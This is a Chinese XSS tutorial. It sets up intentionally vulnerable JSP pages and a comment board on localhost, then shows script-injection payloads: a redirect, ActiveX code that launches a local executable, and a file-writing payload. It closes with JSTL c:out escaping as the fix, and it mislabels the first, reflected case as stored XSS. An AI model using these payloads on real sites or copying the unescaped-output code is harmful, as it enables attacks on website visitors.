前言
大家好，好男人就是我，我就是好男人，我就是-0nise。在各大漏洞举报平台，我们时常会看到XSS漏洞。那么问题来了，为何会出现这种漏洞？出现这种漏洞应该怎么修复？
正文
1.XSS？XSS？XSS是什么鬼？
XSS又叫跨站脚本攻击(Cross Site Scripting)，我不会告诉他原本是叫CSS的，但是为了不和我们所用的层叠样式表(Cascading Style Sheets)CSS搞混。CSS(跨站脚本攻击),CSS(层叠样式表)傻傻分不清。所以就叫XSS咯。
2.XSS的危害是什么？
实验一：
0x00构造代码
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%><%String path = request.getContextPath();String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";%><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html> <head> <base href="<%=basePath%>"> <title>My JSP 'index.jsp' starting page</title> <meta http-equiv="pragma" content="no-cache"> <meta http-equiv="cache-control" content="no-cache"> <meta http-equiv="expires" content="0"> <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"> <meta http-equiv="description" content="This is my page"> </head> <body> <div style="margin: 0 auto"> <%//设置编码 request.setCharacterEncoding("UTF-8");//接收用户传入值 String tmp = request.getParameter("opr"); //减速传入值是否为空 if(tmp == null){ out.print("111"); }else{ //转码 String opr = new String(tmp.getBytes("ISO-8859-1"),"utf-8"); out.print(opr); } %> 我是内容 </div> </body></html>0x01环境布局
0x02漏洞演练
我们访问:http://localhost:8080/XSS/index.jsp?opr=i%E6%98%A5%E7%A7%8B
然后访问:http://localhost:8080/XSS/index.jsp?opr=0nise
最后我们发现了一个“伟大的规律”：
opr参数等于什么页面就打印什么。（好像是废话）
我们接着来加载一个图片看看
访问:http://localhost:8080/XSS/index.jsp?opr=%3Cimg%20src=%221.png%22%3E%3C/img%3E
既然图片都可以加载，那么我们JS文件是不是也阔以加载呢？
访问：http://localhost:8080/XSS/index.jsp?opr=%3Cscript%3Ealert(/i%E6%98%A5%E7%A7%8B%E7%A4%BE%E5%8C%BA%E6%AC%A2%E8%BF%8E%E5%A4%A7%E5%AE%B6/)%3C/script%3E
Js？Js？那么是不是可以来改变跳转后地址？
访问：http://localhost:8080/XSS/index.jsp?opr=%3Cscript%3Elocation.href=%27http://bbs.ichunqiu.com%27%3C/script%3E
既然xss都可以加载js，那么，我们是不是通过js来打开本地的某些东西？
提前放了一个MD5.exe文件
访问：http://localhost:8080/XSS/index.jsp?opr=<script> var objShell = new ActiveXObject("wscript.shell");objShell.Run("G:/work/XSS/WebRoot/Md5.exe");</script>
既然连本地文件都可以打开那么远程文件木马？来个电脑恶搞？这个自己慢慢象限。我可没说啊。。。。。
文件都可以打开，那么写一些文件呢？
访问：http://localhost:8080/XSS/index.jsp?opr=%3Cscript%3Evar%20fso,tf;fso%20=%20new%20ActiveXObject(%22Scripting.FileSystemObject%22);tf%20=%20fso.CreateTextFile(%22d://test.txt%22,true);tf.WriteLine(%22i%E6%98%A5%E7%A7%8B%E7%A4%BE%E5%8C%BA%E6%AC%A2%E8%BF%8E%E6%82%A8%22);tf.Close();alert(%22%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%88%90%E5%8A%9F%EF%BC%81%22);%3C/script%3E
通过以上实验我们可以看出opr参数赋值操作。如果opr参数没有值的话，就无法执行执行，被攻击者必须访问攻击者提前设计好的才能攻击。这种XSS攻击方式叫做:存储型XSS
如果你想看到更给力的实验，请接着往下看。
实验二：
前言：
大部分网站都会和数据打交道那么，XSS漏洞出现这些网站是什么样子的？
0x00构造代码
数据库部分
BaseDao.java
import java.sql.Connection;import java.sql.DriverManager;import java.sql.PreparedStatement;import java.sql.ResultSet;import java.sql.SQLException;import java.sql.Statement;public class BaseDAO { //打开连接 public Connection getConn(){ Connection conn = null; try { Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver"); conn = DriverManager.getConnection("jdbc:sqlserver://localhost:1433;databaseName=SQLTMP","sa","sa"); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (SQLException e) { e.printStackTrace(); } return conn; } //关闭链接的方法 public void closeAll(Connection conn,Statement stat,ResultSet rs){ try { if(rs != null) rs.close(); if(stat != null) stat.close(); if(conn != null) conn.close(); } catch (SQLException e) { e.printStackTrace(); } } //重载关闭方法 public void closeAll(Connection conn,PreparedStatement pstat,ResultSet rs){ try { if(rs != null) rs.close(); if(pstat != null) pstat.close(); if(conn != null) conn.close(); } catch (SQLException e) { e.printStackTrace(); } } //继续重载 public void closeAll(Connection conn,PreparedStatement pstat){ try { if(pstat != null) pstat.close(); if(conn != null) conn.close(); } catch (SQLException e) { e.printStackTrace(); } } //增删改的公用方法 public int upDate(String sql,Object[] pram){ PreparedStatement pstat = null; Connection conn = null; int a = 0; try { conn = getConn(); pstat =conn.prepareStatement(sql); //遍历参数集合，将集合中的参数对应添加到sql语句中 for (int i = 1; i <= pram.length; i++) { pstat.setObject(i, pram[i-1]); } //调用方法 a = pstat.executeUpdate(); } catch (SQLException e) { e.printStackTrace(); }finally{ closeAll(conn, pstat); } return a; }} CommentDao.java
import java.sql.*;import java.util.*;import entity.*;public class CommentDao extends BaseDAO { /** * 获取所有留言 * */ public List<comm> GetComment(){ //SQL语句 String sql = "SELECT CID,CName,CContext FROM Comments"; List<comm> list = new ArrayList<comm>(); //数据库连接对象 Connection conn = null; //SQL执行对象 PreparedStatement pstmt = null; //数据库执行返回值 ResultSet rs = null; try { //创建数据库链接 conn = this.getConn(); //创建SQL执行对象 pstmt = conn.prepareStatement(sql); //执行SQL语句 返回值 rs = pstmt.executeQuery(); //读取 while (rs.next()) { comm comment = new comm(); comment.setCID(rs.getInt("CID")); comment.setCName(rs.getString("CName")); comment.setCContext(rs.getString("CContext")); list.add(comment); } } catch (Exception e) { e.printStackTrace(); }finally{ //关闭 this.closeAll(conn, pstmt, rs); } return list; } public int AddComment(comm comment){ String sql = "INSERT INTO Comments VALUES(?,?)"; //受影响行数 int result = 0; //数据库连接对象 Connection conn = null; //SQL执行对象 PreparedStatement pstmt = null; try { //创建数据库链接 conn = this.getConn(); //创建SQL执行对象 pstmt = conn.prepareStatement(sql); //设置参数 pstmt.setString(1, comment.getCName()); pstmt.setString(2, comment.getCContext()); //执行SQL语句 result = pstmt.executeUpdate(); } catch (Exception e) { e.printStackTrace(); }finally{ this.closeAll(conn, pstmt); } return result; }}CommentServlvet
import java.io.*;import javax.servlet.*;import javax.servlet.http.*;import entity.*;public class CommentServlvet extends HttpServlet { /** * doGet() */ public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { request.setCharacterEncoding("UTF-8"); response.setContentType("text/html;charset=UTF-8"); PrintWriter out = response.getWriter(); String opr = request.getParameter("opr"); CommentDao commentDao = new CommentDao(); //检索参数是否为空 if(opr == null || opr.equals("all")){ request.setAttribute("all", commentDao.GetComment()); //转发 request.getRequestDispatcher("comment.jsp").forward(request, response); }else if (opr.equals("add")){ comm comment = new comm(); comment.setCName(request.getParameter("UName")); comment.setCContext(request.getParameter("context")); if(commentDao.AddComment(comment) > 0){ out.print("<script>alert('留言成功');location.href='CommentServlvet?opr=all';</script>"); }else{ out.print("<script>alert('留言失败');location.href='CommentServlvet?opr=all';</script>"); } }else{ request.setAttribute("all", commentDao.GetComment()); //转发 request.getRequestDispatcher("comment.jsp").forward(request, response); } out.flush(); out.close(); } /** * doPost() */ public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doGet(request, response); }}Comment.jsp
<%@ page language="java" import="java.util.*,entity.*" pageEncoding="UTF-8"%><%String path = request.getContextPath();String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";%><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html> <head> <base href="<%=basePath%>"> <title>My JSP 'comment.jsp' starting page</title> <meta http-equiv="pragma" content="no-cache"> <meta http-equiv="cache-control" content="no-cache"> <meta http-equiv="expires" content="0"> <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"> <meta http-equiv="description" content="This is my page"> </head> <body> <% request.setCharacterEncoding("UTF-8"); if(request.getAttribute("all") == null){ request.getRequestDispatcher("CommentServlvet?opr=all").forward(request, response); } %> <table> <% List<entity.comm> list = (List<entity.comm>)request.getAttribute("all"); for(int i = 0; i < list.size(); i++ ){ %> <tr> <td><%=list.get(i).getCName() %></td> <td><%=list.get(i).getCContext() %></td> </tr> <% } %> </table> <form action="CommentServlvet?opr=add" method="post"> <textarea rows="5" cols="30" name="context"></textarea> 昵称:<input type="text" name="UName" /> <input type="submit" value="提交" /> </form> </body></html>0x01漏洞实验
root@1~#
我们在留言板留言：
<script> var objShell = new ActiveXObject("wscript.shell");objShell.Run("G:/work/XSS/WebRoot/Md5.exe");</script>
然后访问:http://localhost:8080/XSS/comment.jsp
这样只要访问这个页面，软件就自动打开了，来个远程文件？慢慢领悟。
root@2~#
我们在留言板留言：
复制代码代码如下:<script>var fso,tf;fso = new ActiveXObject("Scripting.FileSystemObject");tf = fso.CreateTextFile("d://test.txt",true);tf.WriteLine("i春秋社区欢迎您");tf.Close();alert("文件写入成功！");</script>
然后访问: http://localhost:8080/XSS/comment.jsp
文件写入成功。
root@3~#
留言内容:
[code]<script>location.href='http://bbs.ichunqiu.com'</script>[code]
访问页面:http://localhost:8080/XSS/comment.jsp
访问留言页面自动跳转到攻击者特定的网站。难道这就是传说中的劫持吗？
3.XSS防御方案
正所谓哪里有攻击，哪里就有防御。XSS一样，有攻击的方式，也有防御的方案。
EL表达式+JSTL标签库
EL（Expression Language）：[size=12.0000pt]为了使JSP写起来更简单。表达式语言的灵感来自于ECMAScript和XPath表达式语语言，他提供了JSP中简化表达式的方法，让jsp代码更简单。
JSTL（JSP Standard Tag Library):开放源代码的JSP标签库。
实验一防御代码：
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%><%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %><%String path = request.getContextPath();String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";%><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html> <head> <base href="<%=basePath%>"> <title>My JSP 'index.jsp' starting page</title> <meta http-equiv="pragma" content="no-cache"> <meta http-equiv="cache-control" content="no-cache"> <meta http-equiv="expires" content="0"> <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"> <meta http-equiv="description" content="This is my page"> </head> <body> <div style="margin: 0 auto"> <% request.setCharacterEncoding("UTF-8"); String tmp = request.getParameter("opr"); //减速传入值是否为空 if(tmp == null){ out.print("111"); }else{ //转码 String opr = new String(tmp.getBytes("ISO-8859-1"),"utf-8"); request.setAttribute("name", opr); %> <c:out value="${requestScope.name }"></c:out> <% } %> 我是内容 </div> </body></html>实验二防御代码：
<%@ page language="java" import="java.util.*,entity.*" pageEncoding="UTF-8"%><%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %><%String path = request.getContextPath();String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html> <head> <base href="<%=basePath%>"> <title>My JSP 'comment.jsp' starting page</title> <meta http-equiv="pragma" content="no-cache"> <meta http-equiv="cache-control" content="no-cache"> <meta http-equiv="expires" content="0"> <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"> <meta http-equiv="description" content="This is my page"> </head> <body> <% request.setCharacterEncoding("UTF-8"); if(request.getAttribute("all") == null){ request.getRequestDispatcher("CommentServlvet?opr=all").forward(request, response); } %> <table><!-- 防御XSS方案 --> <c:forEach var="x" items="${requestScope.all }"> <tr> <td> <c:out value="${x.getCName() }"></c:out> </td> <td> <c:out value="${x.getCContext() }"></c:out> </td> </tr> </c:forEach> </table> <form action="CommentServlvet?opr=add" method="post"> <textarea rows="5" cols="30" name="context"></textarea> 昵称:<input type="text" name="UName" /> <input type="submit" value="提交" /> </form> </body></html>结束语
技术无黑白，专研甚好。